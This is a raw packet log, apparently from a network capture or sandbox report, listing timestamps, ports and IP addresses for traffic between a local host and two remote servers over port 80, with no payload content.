Dec 13, 2024 01:51:33.077800035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.077855110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.077919006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.077970982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.078803062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.078931093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.078978062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.079787016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.079835892 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.079865932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.079907894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.080800056 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.080847979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.080897093 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.080939054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.081805944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.081897974 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.081943989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.082765102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.082809925 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.082854033 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.082895041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.083785057 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.083831072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.083874941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.083914995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.084784985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.084830999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.084858894 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.084898949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.085798025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.085887909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.085930109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.086761951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.086806059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.086982012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.087023020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.087778091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.087822914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.087867975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.087908983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.088762999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.088807106 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.088867903 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.088907003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.089766026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.089859962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.089924097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.090991020 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.091036081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.091106892 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.091149092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.091742039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.091790915 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.091837883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.091880083 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.092744112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.092787981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.092832088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.092881918 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.093760967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.093909025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.093966961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.094742060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.094794989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.094839096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.094880104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.095747948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.095793009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.095839024 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.095877886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.096724987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.096770048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.096828938 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.096870899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.097732067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.097776890 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.097825050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.097866058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.098727942 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.098834991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.098881960 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.099719048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.099765062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.099843025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.099888086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.100718975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.100766897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.100832939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.100874901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.101746082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.101870060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.101917982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.102731943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.102782011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.102845907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.102891922 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.103750944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.103815079 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.103874922 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.103919983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.104767084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.104827881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.104871035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.104913950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.105731010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.105777025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.105916977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.105967999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.106725931 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.106848001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.106894970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.107745886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.107794046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.107801914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.107846022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.108720064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.108772039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.108843088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.108890057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.109711885 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.109847069 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.109904051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.110635996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.110693932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.250382900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.250520945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.250544071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.250586987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.250863075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.250942945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.251000881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.251000881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.251910925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.251977921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.252062082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.252106905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.252862930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.252965927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.252970934 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.253026009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.253863096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.253922939 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.253988981 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.254115105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.254867077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.254926920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.254992962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.255275965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.255892038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.256015062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.256045103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.256059885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.256866932 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.256920099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.256969929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.257025003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.257872105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.257930994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.257978916 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.258132935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.258848906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.258902073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.258965969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.259064913 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.259862900 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.259917974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.259973049 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.260015011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.260862112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.260926962 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.260972023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.261126041 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.261831045 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.261885881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.261949062 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.262042046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.262852907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.262908936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.263015985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.263709068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.263818026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.263927937 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.263942957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.264075994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.264843941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.264898062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.264899969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.264946938 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.265852928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.265907049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.265965939 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.266017914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.266819000 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.266879082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.266954899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.267025948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.267833948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.267894030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.267952919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.268229961 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.268815994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.268932104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.268978119 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.269810915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.269865990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.269906998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.270819902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.270872116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.270874023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.270921946 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.271806955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.271857023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.271922112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.272015095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.272816896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.272865057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.272871971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.272914886 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.273813009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.273860931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.273925066 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.273968935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.274792910 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.274838924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.274883986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.275032043 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.275808096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.275851011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.275886059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.276025057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.276752949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.276797056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.276823997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.276861906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.277801991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.277851105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.277976990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.278068066 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.278814077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.278877020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.278913975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.279069901 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.279767036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.279822111 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.279865026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.279906034 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.280756950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.280812025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.280877113 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.281013966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.281747103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.281812906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.281851053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.281946898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.282749891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.282876968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.282929897 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.283759117 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.283842087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.283916950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.283971071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.284775019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.284831047 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.284904957 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.284944057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.285768986 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.285823107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.285866022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.285914898 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.286750078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.286804914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.286849022 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.286890984 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.287739038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.287847996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.287856102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.287897110 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.288744926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.288865089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.288913012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.289747953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.289798021 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.289840937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.289881945 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.290724993 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.290770054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.290843010 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.290884972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.291717052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.291829109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.291882992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.292716026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.292764902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.292793989 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.292844057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.293714046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.293852091 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.293920994 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.294725895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.294775963 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.294847012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.294894934 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.295721054 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.295768976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.295840979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.295881987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.296715975 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.296761990 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.296807051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.297055006 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.297715902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.297771931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.297808886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.297854900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.298707962 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.298755884 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.298799992 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.298852921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.299788952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.299901009 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.299951077 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.300725937 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.300789118 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.300842047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.300890923 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.301707029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.301758051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.301822901 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.301868916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.302648067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.302701950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.341073990 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:33.343310118 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:33.354826927 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:33.442689896 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.442743063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.442893982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:33.442980051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:33.442980051 CET	49809	80	192.168.2.4	31.41.244.11
